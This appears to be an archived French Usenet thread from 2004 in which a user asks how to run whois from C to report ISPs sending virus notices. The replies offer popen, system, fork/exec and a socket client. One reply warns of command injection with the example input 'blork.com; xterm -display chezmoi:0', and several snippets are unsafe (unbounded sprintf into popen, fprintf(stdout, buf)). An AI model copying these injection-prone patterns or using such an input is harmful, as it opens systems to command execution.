OVH Cloud OVH Cloud

Appel bloquant

8 réponses
Avatar
christophe Raverdy
Bonsoir.

J'ai publié cette question sur fclc, mais on m'a prévenu que l'article
serait davantage en charte ici.

Pourriez-vus m'aider svp ?


Je suis en train de me remettre au C. La première partie (récupération des
adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes
pour faire un appel réseau (whois) à partir d'une adresse IP.

Quel est le moyen le plus simple de le réaliser sous linux (appel d'un
script ?) en sachant que j'ai besoin que le programme s'interrompe le temps
que le résultat de la requête se retrouve dans un fichier ?

C'est ainsi que je vois les choses, mais s'il y a une autre approche
préférable je suis preneur.

Par avance, merci pour vos réponses et ou URL.

--
christophe

8 réponses

Avatar
Pascal Bourguignon
christophe Raverdy writes:

Bonsoir.

J'ai publié cette question sur fclc, mais on m'a prévenu que l'article
serait davantage en charte ici.

Pourriez-vus m'aider svp ?


Je suis en train de me remettre au C. La première partie (récupération des
adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes
pour faire un appel réseau (whois) à partir d'une adresse IP.

Quel est le moyen le plus simple de le réaliser sous linux (appel d'un
script ?) en sachant que j'ai besoin que le programme s'interrompe le temps
que le résultat de la requête se retrouve dans un fichier ?

C'est ainsi que je vois les choses, mais s'il y a une autre approche
préférable je suis preneur.

Par avance, merci pour vos réponses et ou URL.


Le mieux c'est popen(2).
Quelque chose comme (pseudo-code, utiliser man!):

int fd=popen(sprintf("whois %s",address),"r");
FILE* whoisýopen(fd,"r");
while(fgets(line,line_size,whois)){
parse_whois_line(line);
}
fclose(whois);


--
__Pascal Bourguignon__ http://www.informatimago.com/
The world will now reboot; don't bother saving your artefacts.

Avatar
Nicolas George
Pascal Bourguignon wrote in message
:
int fd=popen(sprintf("whois %s",address),"r");
FILE* whoisýopen(fd,"r");


popen fournit déjà un FILE *.

fclose(whois);


pclose, attention, sinon on laisse des zombies.

Avatar
christophe Raverdy
Nicolas George a écrit:

int fd=popen(sprintf("whois %s",address),"r");
FILE* whoisýopen(fd,"r");


popen fournit déjà un FILE *.

fclose(whois);


pclose, attention, sinon on laisse des zombies.


Bonsoir

Je bloquais toujours, j'ai donc cherché sur la base de popen avec google et
j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a permis de
mettre en place la solution suivante qui marche (chez moi):

char sys_command[80]; /* sys command buffer */
FILE *pp;
sprintf(sys_command, "whois %s", adresse_IP);
if ( (pp= popen(sys_command, "r")) == NULL)
{
fprintf(stderr, "erreur sur popenn");
exit(1);
}
while (fgets(tampon4, 200, pp))
printf("%s",tampon4);
pclose(pp);

En tous cas, merci.

--
christophe


Avatar
Alain Thivillon
[ Je ne connais pas le contexte mais meme sans contexte, il y a des
choses à ne pas faire, c'est une bonne habitude ]

Je bloquais toujours, j'ai donc cherché sur la base de popen avec google et
j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a permis de
mettre en place la solution suivante qui marche (chez moi):

char sys_command[80]; /* sys command buffer */
FILE *pp;
sprintf(sys_command, "whois %s", adresse_IP);


Que se passe t'il si adresse_IP contient plus de 80 caractères ?

==> utiliser snprintf

if ( (pp= popen(sys_command, "r")) == NULL)


Que se passe t'il si adresse IP contient:

"blork.com; xterm -display chezmoi:0"

==> utiliser fork(),exec() et dup2()

--
Nom d'un chat de nom d'un chat !

Avatar
christophe Raverdy
Alain Thivillon a écrit:


[ Je ne connais pas le contexte mais meme sans contexte, il y a des
choses à ne pas faire, c'est une bonne habitude ]


C'est juste mon postmaster qui m'expédie tous les jours des machins infâmes
par paquets de 50. L'objet contient "Virus prout détecté" et dans le coprs
du message Il y a toujours les 3 lignes suivantes (modulo les paramètres) :

- Received: from nvugqdaxd.fr (orgeval-2-82-229-194-154.fbx.proxad.net
[82.229.194.154])
- by isengard.teaser.net (Postfix) with SMTP id F35AD44E2D;
- Thu, 9 Dec 2004 08:29:05 +0100 (CET)

Le but de la manoeuvre est d'obtenir une moulinette qui fasse des
notifications groupées aux FAI (ir)responsables.
Note : J'ai prévu un fichier annexe de mémorisation des inetnum afin de ne
pas faire de whois pour chaque annonce reçue.


Je bloquais toujours, j'ai donc cherché sur la base de popen avec google
et j'ai trouvé http://www.namelead.com/man/man3/popen.3.html qui m'a
permis de mettre en place la solution suivante qui marche (chez moi):

char sys_command[80]; /* sys command buffer */
FILE *pp;
sprintf(sys_command, "whois %s", adresse_IP);


Que se passe t'il si adresse_IP contient plus de 80 caractères ?


gni ?

Toutes les adresses IP que je récupère sont du type 82.229.194.154


==> utiliser snprintf


Effectivement, les versions en n sont sécurisées.


if ( (pp= popen(sys_command, "r")) == NULL)


Que se passe t'il si adresse IP contient:

"blork.com; xterm -display chezmoi:0"



gni again.


==> utiliser fork(),exec() et dup2()


Lors de mes cours Unix en 94, j'ai été traumatisé par des forks.
Le côté Je suis ici, mais en fait je suis ailleurs qui me dépasse.

Merci en tous cas pour ces informations, je verrai à les utiliser une fois
que j'aurai une application fonctionnelle. Globalement, je ne devrais plus
avoir à vous déranger.

- [OK] Récupération des éléments pertinents de la notification
- [OK] Récupération des informations sur l'adresse IP ("whois")
- [--] Enrichissement de la base "abuse"
- [--] Génération et envoi de rapports à chaque abuse ("sendmail")
- [--] module statistique sur la réactivité de chaque abuse.


--
et je ne fais aucunes fautes d'orthographes en tappant au clavier sans
le regarder et surtout sans utiliser un dictionnaire correctif de
fautes...
-+- EB in www.le-gnu.net : Un singulier pluriel -+-


Avatar
Stephane Chazelas
2004-12-08, 22:45(+01), christophe Raverdy:
[...]
Je suis en train de me remettre au C. La première partie (récupération des
adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes
pour faire un appel réseau (whois) à partir d'une adresse IP.

Quel est le moyen le plus simple de le réaliser sous linux (appel d'un
script ?) en sachant que j'ai besoin que le programme s'interrompe le temps
que le résultat de la requête se retrouve dans un fichier ?
[...]


setenv("IP", inet_ntoa(addr), 1);
setenv("FILE", filename, 1);
system("whois "$IP" > "$FILE"");

Ou encore:

setenv("IP", inet_ntoa(addr), 1);
fd = open(filename, O_WRONLY|O_CREAT|O_EXCL);
o=dup(1);
dup2(fd, 1); close(fd);
system("whois "$IP"");
dup2(o, 1);

Ou encore, sans utiliser system system() (qui lance un shell)

switch (pid = fork()) {
case 0:
fd = open(filename, O_WRONLY|O_CREAT|O_EXCL);
dup2(fd,1); close(fd);
execlp("whois", "whois", inet_ntoa(addr));
break;
case -1:
error;
break;
default:
waitpid(pid, &status);
}

(en rajoutant toutes les verifications qui vont bien, bien sur).

--
Stephane

Avatar
Laurent Wacrenier
christophe Raverdy écrit:
Je suis en train de me remettre au C. La première partie (récupération des
adresses IP) ne pose pas de problème. Je rencontre par contre des problèmes
pour faire un appel réseau (whois) à partir d'une adresse IP.


Ouvrir une socket vers le serveur whois, poser la question, traiter la
réponse.

/* $Id: simple-whois.c,v 1.3 2004/12/09 11:05:17 lwa Exp $ */

#include <sys/types.h>
#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <errno.h>
#include <stdio.h>

#define WHOIS_SERVER "whois.ra.net"
#define PORT "whois"

int main(int argc, char **argv) {
int s;
struct addrinfo hints, *res, *res1;
FILE *f;
char buf[2000];
int err;

if (argc != 2) {
fprintf(stderr, "usage: %s queryn", argv[0]); exit(1);
}

char *query = argv[1];

memset(&hints, 0, sizeof(hints));

hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;

if ((err = getaddrinfo(WHOIS_SERVER, PORT, &hints, &res)) != 0) {
fprintf(stderr, "getaddrinfo(%s:%s): %sn",
WHOIS_SERVER, PORT, gai_strerror(err));
exit(1);
}

res1=res;

while(res) {
if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket"); exit(1);
}

if (connect(s, res1->ai_addr,
sizeof(struct sockaddr)) == -1) {
struct sockaddr_in *sa = (struct sockaddr_in *)res1->ai_addr;
fprintf(stderr, "connect(%s:%d): %sn",
inet_ntoa(sa->sin_addr.s_addr), (int)ntohs(sa->sin_port),
strerror(errno));

res1 = res1->ai_next;
close(s);
} else {
break;
}
}

if (res1 == NULL) {
fprintf(stderr, "unable to connect to %sn", WHOIS_SERVER);
exit(1);
}
freeaddrinfo(res);

if ((f = fdopen(s, "r+")) == NULL) {
perror("fdopen"); exit(1);
}

fprintf(f, "%srn", query);
fflush(f);

while(fgets(buf, sizeof(buf), f)) {
fprintf(stdout, buf);
}
fclose(f);
}

Avatar
drkm
christophe Raverdy writes:

Alain Thivillon a écrit:

char sys_command[80]; /* sys command buffer */
if ( (pp= popen(sys_command, "r")) == NULL)


Que se passe t'il si adresse IP contient:

"blork.com; xterm -display chezmoi:0"


gni again.


Pense à ce que vaut la chaîne « sys_command ».

Single Unix :

The environment of the executed command shall be as if a child
process were created within the popen() call using the fork()
function, and the child invoked the sh utility using the call:
[...]

--drkm